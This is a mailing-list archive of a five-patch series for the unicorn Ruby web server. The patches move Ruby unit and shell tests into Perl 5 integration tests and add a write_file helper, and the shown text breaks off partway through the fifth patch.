* [PATCH 0/5..5/5] more tests to Perl 5 for stability
@ 2024-05-06 20:10 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2024-05-06 20:10 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 1394 bytes --]
It's far easier to maintain tests in a language that's been
"dead" for 20 years :P This is another step towards freeing us
up to make more internal changes, too; as well as avoiding slow
Ruby startup overhead. (Perl 5 startup is slow, too, but not
nearly as slow as Ruby)
Eric Wong (5):
GNUmakefile: build writes shebang-modified files
t/*.t: use write_file helper function
tests: port broken-app test to Perl 5
tests: move test/unit/test_request.rb to Perl 5
port test/unit/test_ccc.rb to Perl 5
GNUmakefile | 1 +
t/active-unix-socket.t | 13 +--
t/broken-app.ru | 13 ---
t/client_body_buffer_size.t | 5 +-
t/heartbeat-timeout.t | 4 +-
t/integration.ru | 11 +++
t/integration.t | 128 +++++++++++++++++++++++++--
t/lib.perl | 2 +-
t/reload-bad-config.t | 17 ++--
t/reopen-logs.t | 5 +-
t/t0009-broken-app.sh | 56 ------------
t/winch_ttin.t | 7 +-
t/working_directory.t | 16 +---
test/unit/test_ccc.rb | 92 -------------------
test/unit/test_request.rb | 170 ------------------------------------
15 files changed, 153 insertions(+), 387 deletions(-)
delete mode 100644 t/broken-app.ru
delete mode 100755 t/t0009-broken-app.sh
delete mode 100644 test/unit/test_ccc.rb
delete mode 100644 test/unit/test_request.rb
[-- Attachment #2: 0001-GNUmakefile-build-writes-shebang-modified-files.patch --]
[-- Type: text/x-diff, Size: 772 bytes --]
From 5e9dbfd071aa939677aaf3d269115fb88e606311 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Sun, 5 May 2024 22:15:35 +0000
Subject: [PATCH 1/5] GNUmakefile: build writes shebang-modified files
This makes it easier to run individual integration tests via
prove(1) rather than all at once with gmake(1).
---
GNUmakefile | 1 +
1 file changed, 1 insertion(+)
diff --git a/GNUmakefile b/GNUmakefile
index 70e7e10..227842c 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -78,6 +78,7 @@ man1_bins := $(addsuffix .1, $(base_bins))
man1_paths := $(addprefix man/man1/, $(man1_bins))
tmp_bins = $(addprefix $(tmp_bin)/, unicorn unicorn_rails)
pid := $(shell echo $$PPID)
+build: $(tmp_bins)
$(tmp_bin)/%: bin/% | $(tmp_bin)
$(INSTALL) -m 755 $< $@.$(pid)
[-- Attachment #3: 0002-t-.t-use-write_file-helper-function.patch --]
[-- Type: text/x-diff, Size: 8088 bytes --]
From 9cbf87fd110acc36c3b6eec14231aed3be78ecf4 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Sun, 5 May 2024 22:15:36 +0000
Subject: [PATCH 2/5] t/*.t: use write_file helper function
This shortens the tests a bit for readability.
---
t/active-unix-socket.t | 13 +++----------
t/client_body_buffer_size.t | 5 ++---
t/heartbeat-timeout.t | 4 +---
t/integration.t | 5 ++---
t/reload-bad-config.t | 17 ++++++-----------
t/reopen-logs.t | 5 +----
t/winch_ttin.t | 7 ++-----
t/working_directory.t | 16 ++++------------
8 files changed, 21 insertions(+), 51 deletions(-)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index ff731b5..ab3c973 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -11,29 +11,22 @@ END { kill('TERM', values(%to_kill)) if keys %to_kill }
my $u1 = "$tmpdir/u1.sock";
my $u2 = "$tmpdir/u2.sock";
{
- open my $fh, '>', "$tmpdir/u1.conf.rb";
- print $fh <<EOM;
+ write_file '>', "$tmpdir/u1.conf.rb", <<EOM;
pid "$tmpdir/u.pid"
listen "$u1"
stderr_path "$err_log"
EOM
- close $fh;
-
- open $fh, '>', "$tmpdir/u2.conf.rb";
- print $fh <<EOM;
+ write_file '>', "$tmpdir/u2.conf.rb", <<EOM;
pid "$tmpdir/u.pid"
listen "$u2"
stderr_path "$tmpdir/err2.log"
EOM
- close $fh;
- open $fh, '>', "$tmpdir/u3.conf.rb";
- print $fh <<EOM;
+ write_file '>', "$tmpdir/u3.conf.rb", <<EOM;
pid "$tmpdir/u3.pid"
listen "$u1"
stderr_path "$tmpdir/err3.log"
EOM
- close $fh;
}
my @uarg = qw(-D -E none t/integration.ru);
diff --git a/t/client_body_buffer_size.t b/t/client_body_buffer_size.t
index d479901..c8e871d 100644
--- a/t/client_body_buffer_size.t
+++ b/t/client_body_buffer_size.t
@@ -4,11 +4,10 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
-open my $conf_fh, '>', $u_conf;
-$conf_fh->autoflush(1);
-print $conf_fh <<EOM;
+my $conf_fh = write_file '>', $u_conf, <<EOM;
client_body_buffer_size 0
EOM
+$conf_fh->autoflush(1);
my $srv = tcp_server();
my $host_port = tcp_host_port($srv);
my @uarg = (qw(-E none t/client_body_buffer_size.ru -c), $u_conf);
diff --git a/t/heartbeat-timeout.t b/t/heartbeat-timeout.t
index 694867a..0ae0764 100644
--- a/t/heartbeat-timeout.t
+++ b/t/heartbeat-timeout.t
@@ -6,14 +6,12 @@ use autodie;
use Time::HiRes qw(clock_gettime CLOCK_MONOTONIC);
mkdir "$tmpdir/alt";
my $srv = tcp_server();
-open my $fh, '>', $u_conf;
-print $fh <<EOM;
+write_file '>', $u_conf, <<EOM;
pid "$tmpdir/pid"
preload_app true
stderr_path "$err_log"
timeout 3 # WORST FEATURE EVER
EOM
-close $fh;
my $ar = unicorn(qw(-E none t/heartbeat-timeout.ru -c), $u_conf, { 3 => $srv });
diff --git a/t/integration.t b/t/integration.t
index d17ace0..93480fa 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -18,13 +18,12 @@ if ('ensure Perl does not set SO_KEEPALIVE by default') {
$val = getsockopt($srv, SOL_SOCKET, SO_KEEPALIVE);
}
my $t0 = time;
-open my $conf_fh, '>', $u_conf;
-$conf_fh->autoflush(1);
my $u1 = "$tmpdir/u1";
-print $conf_fh <<EOM;
+my $conf_fh = write_file '>', $u_conf, <<EOM;
early_hints true
listen "$u1"
EOM
+$conf_fh->autoflush(1);
my $ar = unicorn(qw(-E none t/integration.ru -c), $u_conf, { 3 => $srv });
my $curl = which('curl');
local $ENV{NO_PROXY} = '*'; # for curl
diff --git a/t/reload-bad-config.t b/t/reload-bad-config.t
index c023b88..4c17968 100644
--- a/t/reload-bad-config.t
+++ b/t/reload-bad-config.t
@@ -6,32 +6,27 @@ use autodie;
my $srv = tcp_server();
my $host_port = tcp_host_port($srv);
my $ru = "$tmpdir/config.ru";
-my $u_conf = "$tmpdir/u.conf.rb";
-open my $fh, '>', $ru;
-print $fh <<'EOM';
+write_file '>', $ru, <<'EOM';
use Rack::ContentLength
use Rack::ContentType, 'text/plain'
config = ru = "hello world\n" # check for config variable conflicts, too
run lambda { |env| [ 200, {}, [ ru.to_s ] ] }
EOM
-close $fh;
-open $fh, '>', $u_conf;
-print $fh <<EOM;
+write_file '>', $u_conf, <<EOM;
preload_app true
stderr_path "$err_log"
EOM
-close $fh;
my $ar = unicorn(qw(-E none -c), $u_conf, $ru, { 3 => $srv });
my ($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid at start');
is($bdy, "hello world\n", 'body matches expected');
-open $fh, '>>', $ru;
-say $fh '....this better be a syntax error in any version of ruby...';
-close $fh;
+write_file '>>', $ru, <<'EOM';
+....this better be a syntax error in any version of ruby...
+EOM
$ar->do_kill('HUP'); # reload
my @l;
@@ -42,7 +37,7 @@ for (1..1000) {
}
diag slurp($err_log) if $ENV{V};
ok(grep(/error reloading/, @l), 'got error reloading');
-open $fh, '>', $err_log;
+open my $fh, '>', $err_log; # truncate
close $fh;
($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
diff --git a/t/reopen-logs.t b/t/reopen-logs.t
index 76a4dbd..14bc6ef 100644
--- a/t/reopen-logs.t
+++ b/t/reopen-logs.t
@@ -4,14 +4,11 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
my $srv = tcp_server();
-my $u_conf = "$tmpdir/u.conf.rb";
my $out_log = "$tmpdir/out.log";
-open my $fh, '>', $u_conf;
-print $fh <<EOM;
+write_file '>', $u_conf, <<EOM;
stderr_path "$err_log"
stdout_path "$out_log"
EOM
-close $fh;
my $auto_reap = unicorn('-c', $u_conf, 't/reopen-logs.ru', { 3 => $srv } );
my ($status, $hdr, $bdy) = do_req($srv, 'GET / HTTP/1.0');
diff --git a/t/winch_ttin.t b/t/winch_ttin.t
index c507959..3a3d430 100644
--- a/t/winch_ttin.t
+++ b/t/winch_ttin.t
@@ -4,13 +4,11 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
use POSIX qw(mkfifo);
-my $u_conf = "$tmpdir/u.conf.rb";
my $u_sock = "$tmpdir/u.sock";
my $fifo = "$tmpdir/fifo";
mkfifo($fifo, 0666) or die "mkfifo($fifo): $!";
-open my $fh, '>', $u_conf;
-print $fh <<EOM;
+write_file '>', $u_conf, <<EOM;
pid "$tmpdir/pid"
listen "$u_sock"
stderr_path "$err_log"
@@ -19,11 +17,10 @@ after_fork do |server, worker|
File.open("$fifo", "wb") { |fp| fp.syswrite worker.nr.to_s }
end
EOM
-close $fh;
unicorn('-D', '-c', $u_conf, 't/integration.ru')->join;
is($?, 0, 'daemonized properly');
-open $fh, '<', "$tmpdir/pid";
+open my $fh, '<', "$tmpdir/pid";
chomp(my $pid = <$fh>);
ok(kill(0, $pid), 'daemonized PID works');
my $quit = sub { kill('QUIT', $pid) if $pid; $pid = undef };
diff --git a/t/working_directory.t b/t/working_directory.t
index f9254eb..f1c0a35 100644
--- a/t/working_directory.t
+++ b/t/working_directory.t
@@ -5,15 +5,13 @@ use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
mkdir "$tmpdir/alt";
my $ru = "$tmpdir/alt/config.ru";
-open my $fh, '>', $u_conf;
-print $fh <<EOM;
+write_file '>', $u_conf, <<EOM;
pid "$pid_file"
preload_app true
stderr_path "$err_log"
working_directory "$tmpdir/alt" # the whole point of this test
before_fork { |_,_| \$master_ppid = Process.ppid }
EOM
-close $fh;
my $common_ru = <<'EOM';
use Rack::ContentLength
@@ -21,12 +19,10 @@ use Rack::ContentType, 'text/plain'
run lambda { |env| [ 200, {}, [ "#{$master_ppid}\n" ] ] }
EOM
-open $fh, '>', $ru;
-print $fh <<EOM;
+write_file '>', $ru, <<EOM;
#\\--daemonize --listen $u_sock
$common_ru
EOM
-close $fh;
unicorn('-c', $u_conf)->join; # will daemonize
chomp($daemon_pid = slurp($pid_file));
@@ -39,9 +35,7 @@ check_stderr;
if ('test without CLI switches in config.ru') {
truncate $err_log, 0;
- open $fh, '>', $ru;
- print $fh $common_ru;
- close $fh;
+ write_file '>', $ru, $common_ru;
unicorn('-D', '-l', $u_sock, '-c', $u_conf)->join; # will daemonize
chomp($daemon_pid = slurp($pid_file));
@@ -68,8 +62,7 @@ if ('ensures broken working_directory (missing config.ru) is OK') {
if ('fooapp.rb (not config.ru) works with working_directory') {
truncate $err_log, 0;
my $fooapp = "$tmpdir/alt/fooapp.rb";
- open $fh, '>', $fooapp;
- print $fh <<EOM;
+ write_file '>', $fooapp, <<EOM;
class Fooapp
def self.call(env)
b = "dir=#{Dir.pwd}"
@@ -78,7 +71,6 @@ class Fooapp
end
end
EOM
- close $fh;
my $srv = tcp_server;
my $auto_reap = unicorn(qw(-c), $u_conf, qw(-I. fooapp.rb),
{ -C => '/', 3 => $srv });
[-- Attachment #4: 0003-tests-port-broken-app-test-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 4208 bytes --]
From e61a1152a613032927613b805a46c4d831bad00c Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Sun, 5 May 2024 22:15:37 +0000
Subject: [PATCH 3/5] tests: port broken-app test to Perl 5
Save some inodes and startup time by folding it into the
integration test.
---
t/broken-app.ru | 13 ----------
t/integration.ru | 1 +
t/integration.t | 18 +++++++++++++-
t/lib.perl | 2 +-
t/t0009-broken-app.sh | 56 -------------------------------------------
5 files changed, 19 insertions(+), 71 deletions(-)
delete mode 100644 t/broken-app.ru
delete mode 100755 t/t0009-broken-app.sh
diff --git a/t/broken-app.ru b/t/broken-app.ru
deleted file mode 100644
index 5966bff..0000000
--- a/t/broken-app.ru
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: false
-# we do not want Rack::Lint or anything to protect us
-use Rack::ContentLength
-use Rack::ContentType, "text/plain"
-map "/" do
- run lambda { |env| [ 200, {}, [ "OK\n" ] ] }
-end
-map "/raise" do
- run lambda { |env| raise "BAD" }
-end
-map "/nil" do
- run lambda { |env| nil }
-end
diff --git a/t/integration.ru b/t/integration.ru
index 6df481c..3a0d99c 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -100,6 +100,7 @@ def rack_input_tests(env)
when '/early_hints_rack2'; early_hints(env, "r\n2")
when '/early_hints_rack3'; early_hints(env, %w(r 3))
when '/broken_app'; raise RuntimeError, 'hello'
+ when '/nil'; nil
else '/'; [ 200, {}, [ env_dump(env) ] ]
end # case PATH_INFO (GET)
when 'POST'
diff --git a/t/integration.t b/t/integration.t
index 93480fa..c9a7877 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -122,7 +122,23 @@ check_stderr;
($status, $hdr, $bdy) = do_req($srv, 'GET /broken_app HTTP/1.0');
like($status, qr!\AHTTP/1\.[0-1] 500\b!, 'got 500 error on broken endpoint');
is($bdy, undef, 'no response body after exception');
-truncate($errfh, 0);
+seek $errfh, 0, SEEK_SET;
+{
+ my $nxt;
+ while (!defined($nxt) && defined($_ = <$errfh>)) {
+ $nxt = <$errfh> if /app error/;
+ }
+ ok $nxt, 'got app error' and
+ like $nxt, qr/\bintegration\.ru/, 'got backtrace';
+}
+seek $errfh, 0, SEEK_SET;
+truncate $errfh, 0;
+
+($status, $hdr, $bdy) = do_req($srv, 'GET /nil HTTP/1.0');
+like($status, qr!\AHTTP/1\.[0-1] 500\b!, 'got 500 error on nil endpoint');
+like slurp($err_log), qr/app error/, 'exception logged for nil';
+seek $errfh, 0, SEEK_SET;
+truncate $errfh, 0;
my $ck_early_hints = sub {
my ($note) = @_;
diff --git a/t/lib.perl b/t/lib.perl
index 8c842b1..382f08c 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -30,7 +30,7 @@ $pid_file = "$tmpdir/pid";
$fifo = "$tmpdir/fifo";
$u_sock = "$tmpdir/u.sock";
$u_conf = "$tmpdir/u.conf.rb";
-open($errfh, '>>', $err_log);
+open($errfh, '+>>', $err_log);
if (my $t = $ENV{TAIL}) {
my @tail = $t =~ /tail/ ? split(/\s+/, $t) : (qw(tail -F));
diff --git a/t/t0009-broken-app.sh b/t/t0009-broken-app.sh
deleted file mode 100755
index 895b178..0000000
--- a/t/t0009-broken-app.sh
+++ /dev/null
@@ -1,56 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-
-t_plan 9 "graceful handling of broken apps"
-
-t_begin "setup and start" && {
- unicorn_setup
- unicorn -E none -D broken-app.ru -c $unicorn_config
- unicorn_wait_start
-}
-
-t_begin "normal response is alright" && {
- test xOK = x"$(curl -sSf http://$listen/)"
-}
-
-t_begin "app raised exception" && {
- curl -sSf http://$listen/raise 2> $tmp || :
- grep -F 500 $tmp
- > $tmp
-}
-
-t_begin "app exception logged and backtrace not swallowed" && {
- grep -F 'app error' $r_err
- grep -A1 -F 'app error' $r_err | tail -1 | grep broken-app.ru:
- dbgcat r_err
- > $r_err
-}
-
-t_begin "trigger bad response" && {
- curl -sSf http://$listen/nil 2> $tmp || :
- grep -F 500 $tmp
- > $tmp
-}
-
-t_begin "app exception logged" && {
- grep -F 'app error' $r_err
- > $r_err
-}
-
-t_begin "normal responses alright afterwards" && {
- > $tmp
- curl -sSf http://$listen/ >> $tmp &
- curl -sSf http://$listen/ >> $tmp &
- curl -sSf http://$listen/ >> $tmp &
- curl -sSf http://$listen/ >> $tmp &
- wait
- test xOK = x$(sort < $tmp | uniq)
-}
-
-t_begin "teardown" && {
- kill $unicorn_pid
-}
-
-t_begin "check stderr" && check_stderr
-
-t_done
[-- Attachment #5: 0004-tests-move-test-unit-test_request.rb-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 11298 bytes --]
From 01224642a20e91de5ea18c6f20856142158068a8 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Sun, 5 May 2024 22:15:38 +0000
Subject: [PATCH 4/5] tests: move test/unit/test_request.rb to Perl 5
Another step towards having more freedom to change our internals
and having a more stable language for tests to reduce
maintenance overhead by avoiding Ruby incompatibilities.
---
t/integration.ru | 6 ++
t/integration.t | 72 +++++++++++++++-
test/unit/test_request.rb | 170 --------------------------------------
3 files changed, 75 insertions(+), 173 deletions(-)
delete mode 100644 test/unit/test_request.rb
diff --git a/t/integration.ru b/t/integration.ru
index 3a0d99c..a6b022a 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -47,6 +47,7 @@ def env_dump(env)
else
case k
when 'rack.version', 'rack.after_reply'; h[k] = v
+ when 'rack.input'; h[k] = v.class.to_s
end
end
end
@@ -112,6 +113,11 @@ def rack_input_tests(env)
when 'PUT'
case env['PATH_INFO']
when %r{\A/rack_input}; rack_input_tests(env)
+ when '/env_dump'; [ 200, {}, [ env_dump(env) ] ]
+ end
+ when 'OPTIONS'
+ case env['REQUEST_URI']
+ when '*'; [ 200, {}, [ env_dump(env) ] ]
end
end # case REQUEST_METHOD
end) # run
diff --git a/t/integration.t b/t/integration.t
index c9a7877..3b1d6df 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -103,14 +103,75 @@ is_deeply([ grep(/^x-r3: /, @$hdr) ],
SKIP: {
eval { require JSON::PP } or skip "JSON::PP missing: $@", 1;
- ($status, $hdr, my $json) = do_req $srv, 'GET /env_dump';
+ my $get_json = sub {
+ my (@req) = @_;
+ my @r = do_req $srv, @req;
+ my $env = eval { JSON::PP->new->decode($r[2]) };
+ diag "$@ (r[2]=$r[2])" if $@;
+ is ref($env), 'HASH', "@req response body is JSON";
+ (@r, $env)
+ };
+ ($status, $hdr, my $json, my $env) = $get_json->('GET /env_dump');
is($status, undef, 'no status for HTTP/0.9');
is($hdr, undef, 'no header for HTTP/0.9');
unlike($json, qr/^Connection: /smi, 'no connection header for 0.9');
unlike($json, qr!\AHTTP/!s, 'no HTTP/1.x prefix for 0.9');
- my $env = JSON::PP->new->decode($json);
- is(ref($env), 'HASH', 'JSON decoded body to hashref');
is($env->{SERVER_PROTOCOL}, 'HTTP/0.9', 'SERVER_PROTOCOL is 0.9');
+ is $env->{'rack.url_scheme'}, 'http', 'rack.url_scheme default';
+ is $env->{'rack.input'}, 'StringIO', 'StringIO for no content';
+
+ my $req = 'OPTIONS *';
+ ($status, $hdr, $json, $env) = $get_json->("$req HTTP/1.0");
+ is $env->{REQUEST_PATH}, '', "$req => REQUEST_PATH";
+ is $env->{PATH_INFO}, '', "$req => PATH_INFO";
+ is $env->{REQUEST_URI}, '*', "$req => REQUEST_URI";
+
+ $req = 'GET http://e:3/env_dump?y=z';
+ ($status, $hdr, $json, $env) = $get_json->("$req HTTP/1.0");
+ is $env->{REQUEST_PATH}, '/env_dump', "$req => REQUEST_PATH";
+ is $env->{PATH_INFO}, '/env_dump', "$req => PATH_INFO";
+ is $env->{QUERY_STRING}, 'y=z', "$req => QUERY_STRING";
+
+ $req = 'GET http://e:3/env_dump#frag';
+ ($status, $hdr, $json, $env) = $get_json->("$req HTTP/1.0");
+ is $env->{REQUEST_PATH}, '/env_dump', "$req => REQUEST_PATH";
+ is $env->{PATH_INFO}, '/env_dump', "$req => PATH_INFO";
+ is $env->{QUERY_STRING}, '', "$req => QUERY_STRING";
+ is $env->{FRAGMENT}, 'frag', "$req => FRAGMENT";
+
+ $req = 'GET http://e:3/env_dump?a=b#frag';
+ ($status, $hdr, $json, $env) = $get_json->("$req HTTP/1.0");
+ is $env->{REQUEST_PATH}, '/env_dump', "$req => REQUEST_PATH";
+ is $env->{PATH_INFO}, '/env_dump', "$req => PATH_INFO";
+ is $env->{QUERY_STRING}, 'a=b', "$req => QUERY_STRING";
+ is $env->{FRAGMENT}, 'frag', "$req => FRAGMENT";
+
+ for my $proto (qw(https http)) {
+ $req = "X-Forwarded-Proto: $proto";
+ ($status, $hdr, $json, $env) = $get_json->(
+ "GET /env_dump HTTP/1.0\r\n".
+ "X-Forwarded-Proto: $proto");
+ is $env->{REQUEST_PATH}, '/env_dump', "$req => REQUEST_PATH";
+ is $env->{PATH_INFO}, '/env_dump', "$req => PATH_INFO";
+ is $env->{'rack.url_scheme'}, $proto, "$req => rack.url_scheme";
+ }
+
+ $req = 'X-Forwarded-Proto: ftp'; # invalid proto
+ ($status, $hdr, $json, $env) = $get_json->(
+ "GET /env_dump HTTP/1.0\r\n".
+ "X-Forwarded-Proto: ftp");
+ is $env->{REQUEST_PATH}, '/env_dump', "$req => REQUEST_PATH";
+ is $env->{PATH_INFO}, '/env_dump', "$req => PATH_INFO";
+ is $env->{'rack.url_scheme'}, 'http', "$req => rack.url_scheme";
+
+ ($status, $hdr, $json, $env) = $get_json->("PUT /env_dump HTTP/1.0\r\n".
+ 'Content-Length: 0');
+ is $env->{'rack.input'}, 'StringIO', 'content-length: 0 uses StringIO';
+
+ ($status, $hdr, $json, $env) = $get_json->("PUT /env_dump HTTP/1.0\r\n".
+ 'Content-Length: 1');
+ is $env->{'rack.input'}, 'Unicorn::TeeInput',
+ 'content-length: 1 uses TeeInput';
}
# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
@@ -179,6 +240,11 @@ if ('bad requests') {
($status, $hdr) = do_req $srv, 'GET /env_dump HTTP/1/1';
like($status, qr!\AHTTP/1\.[01] 400 \b!, 'got 400 on bad request');
+ for my $abs_uri (qw(ssh+http://e/ ftp://e/x http+ssh://e/x)) {
+ ($status, $hdr) = do_req $srv, "GET $abs_uri HTTP/1.0";
+ like $status, qr!\AHTTP/1\.[01] 400 \b!, "400 on $abs_uri";
+ }
+
$c = tcp_start($srv);
print $c 'GET /';
my $buf = join('', (0..9), 'ab');
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
deleted file mode 100644
index 9d1b350..0000000
--- a/test/unit/test_request.rb
+++ /dev/null
@@ -1,170 +0,0 @@
-# -*- encoding: binary -*-
-# frozen_string_literal: false
-
-# Copyright (c) 2009 Eric Wong
-# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
-# the GPLv2+ (GPLv3+ preferred)
-
-require './test/test_helper'
-
-include Unicorn
-
-class RequestTest < Test::Unit::TestCase
-
- MockRequest = Class.new(StringIO)
-
- AI = Addrinfo.new(Socket.sockaddr_un('/unicorn/sucks'))
-
- def setup
- @request = HttpRequest.new
- @app = lambda do |env|
- [ 200, { 'content-length' => '0', 'content-type' => 'text/plain' }, [] ]
- end
- @lint = Rack::Lint.new(@app)
- end
-
- def test_options
- client = MockRequest.new("OPTIONS * HTTP/1.1\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal '', env['REQUEST_PATH']
- assert_equal '', env['PATH_INFO']
- assert_equal '*', env['REQUEST_URI']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_absolute_uri_with_query
- client = MockRequest.new("GET http://e:3/x?y=z HTTP/1.1\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal '/x', env['REQUEST_PATH']
- assert_equal '/x', env['PATH_INFO']
- assert_equal 'y=z', env['QUERY_STRING']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_absolute_uri_with_fragment
- client = MockRequest.new("GET http://e:3/x#frag HTTP/1.1\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal '/x', env['REQUEST_PATH']
- assert_equal '/x', env['PATH_INFO']
- assert_equal '', env['QUERY_STRING']
- assert_equal 'frag', env['FRAGMENT']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_absolute_uri_with_query_and_fragment
- client = MockRequest.new("GET http://e:3/x?a=b#frag HTTP/1.1\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal '/x', env['REQUEST_PATH']
- assert_equal '/x', env['PATH_INFO']
- assert_equal 'a=b', env['QUERY_STRING']
- assert_equal 'frag', env['FRAGMENT']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_absolute_uri_unsupported_schemes
- %w(ssh+http://e/ ftp://e/x http+ssh://e/x).each do |abs_uri|
- client = MockRequest.new("GET #{abs_uri} HTTP/1.1\r\n" \
- "Host: foo\r\n\r\n")
- assert_raises(HttpParserError) { @request.read_headers(client, AI) }
- end
- end
-
- def test_x_forwarded_proto_https
- client = MockRequest.new("GET / HTTP/1.1\r\n" \
- "X-Forwarded-Proto: https\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal "https", env['rack.url_scheme']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_x_forwarded_proto_http
- client = MockRequest.new("GET / HTTP/1.1\r\n" \
- "X-Forwarded-Proto: http\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal "http", env['rack.url_scheme']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_x_forwarded_proto_invalid
- client = MockRequest.new("GET / HTTP/1.1\r\n" \
- "X-Forwarded-Proto: ftp\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal "http", env['rack.url_scheme']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_rack_lint_get
- client = MockRequest.new("GET / HTTP/1.1\r\nHost: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal "http", env['rack.url_scheme']
- assert_equal '127.0.0.1', env['REMOTE_ADDR']
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_no_content_stringio
- client = MockRequest.new("GET / HTTP/1.1\r\nHost: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal StringIO, env['rack.input'].class
- end
-
- def test_zero_content_stringio
- client = MockRequest.new("PUT / HTTP/1.1\r\n" \
- "Content-Length: 0\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal StringIO, env['rack.input'].class
- end
-
- def test_real_content_not_stringio
- client = MockRequest.new("PUT / HTTP/1.1\r\n" \
- "Content-Length: 1\r\n" \
- "Host: foo\r\n\r\n")
- env = @request.read_headers(client, AI)
- assert_equal Unicorn::TeeInput, env['rack.input'].class
- end
-
- def test_rack_lint_put
- client = MockRequest.new(
- "PUT / HTTP/1.1\r\n" \
- "Host: foo\r\n" \
- "Content-Length: 5\r\n" \
- "\r\n" \
- "abcde")
- env = @request.read_headers(client, AI)
- assert ! env.include?(:http_body)
- assert_kind_of Array, @lint.call(env)
- end
-
- def test_rack_lint_big_put
- count = 100
- bs = 0x10000
- buf = (' ' * bs).freeze
- length = bs * count
- client = Tempfile.new('big_put')
- client.syswrite(
- "PUT / HTTP/1.1\r\n" \
- "Host: foo\r\n" \
- "Content-Length: #{length}\r\n" \
- "\r\n")
- count.times { assert_equal bs, client.syswrite(buf) }
- assert_equal 0, client.sysseek(0)
- env = @request.read_headers(client, AI)
- assert ! env.include?(:http_body)
- assert_equal length, env['rack.input'].size
- count.times {
- tmp = env['rack.input'].read(bs)
- tmp << env['rack.input'].read(bs - tmp.size) if tmp.size != bs
- assert_equal buf, tmp
- }
- assert_nil env['rack.input'].read(bs)
- env['rack.input'].rewind
- assert_kind_of Array, @lint.call(env)
- end
-end
[-- Attachment #6: 0005-port-test-unit-test_ccc.rb-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 6013 bytes --]
From d6d127f50f9225bf51ef6ce0abce9bad87efaae3 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Sun, 5 May 2024 22:15:39 +0000
Subject: [PATCH 5/5] port test/unit/test_ccc.rb to Perl 5
We'll fold this into integration.t to reduce startup time
penalties and get the benefit of a stable language to reduce
maintenance overhead.
---
t/integration.ru | 4 ++
t/integration.t | 33 ++++++++++++++++
test/unit/test_ccc.rb | 92 -------------------------------------------
3 files changed, 37 insertions(+), 92 deletions(-)
delete mode 100644 test/unit/test_ccc.rb
diff --git a/t/integration.ru b/t/integration.ru
index a6b022a..aaed608 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -87,6 +87,7 @@ def rack_input_tests(env)
[ 200, h, [ dig.hexdigest ] ]
end
+$nr_aborts = 0
run(lambda do |env|
case env['REQUEST_METHOD']
when 'GET'
@@ -101,7 +102,10 @@ def rack_input_tests(env)
when '/early_hints_rack2'; early_hints(env, "r\n2")
when '/early_hints_rack3'; early_hints(env, %w(r 3))
when '/broken_app'; raise RuntimeError, 'hello'
+ when '/aborted'; $nr_aborts += 1; [ 200, {}, [] ]
+ when '/nr_aborts'; [ 200, { 'nr-aborts' => "#$nr_aborts" }, [] ]
when '/nil'; nil
+ when '/read_fifo'; [ 200, {}, [ File.read(env['HTTP_READ_FIFO']) ] ]
else '/'; [ 200, {}, [ env_dump(env) ] ]
end # case PATH_INFO (GET)
when 'POST'
diff --git a/t/integration.t b/t/integration.t
index 3b1d6df..2d448cd 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -405,6 +405,39 @@ EOM
my $wpid = readline($fifo_fh);
like($wpid, qr/\Apid=\d+\z/a , 'new worker ready');
$ck_early_hints->('ccc on');
+
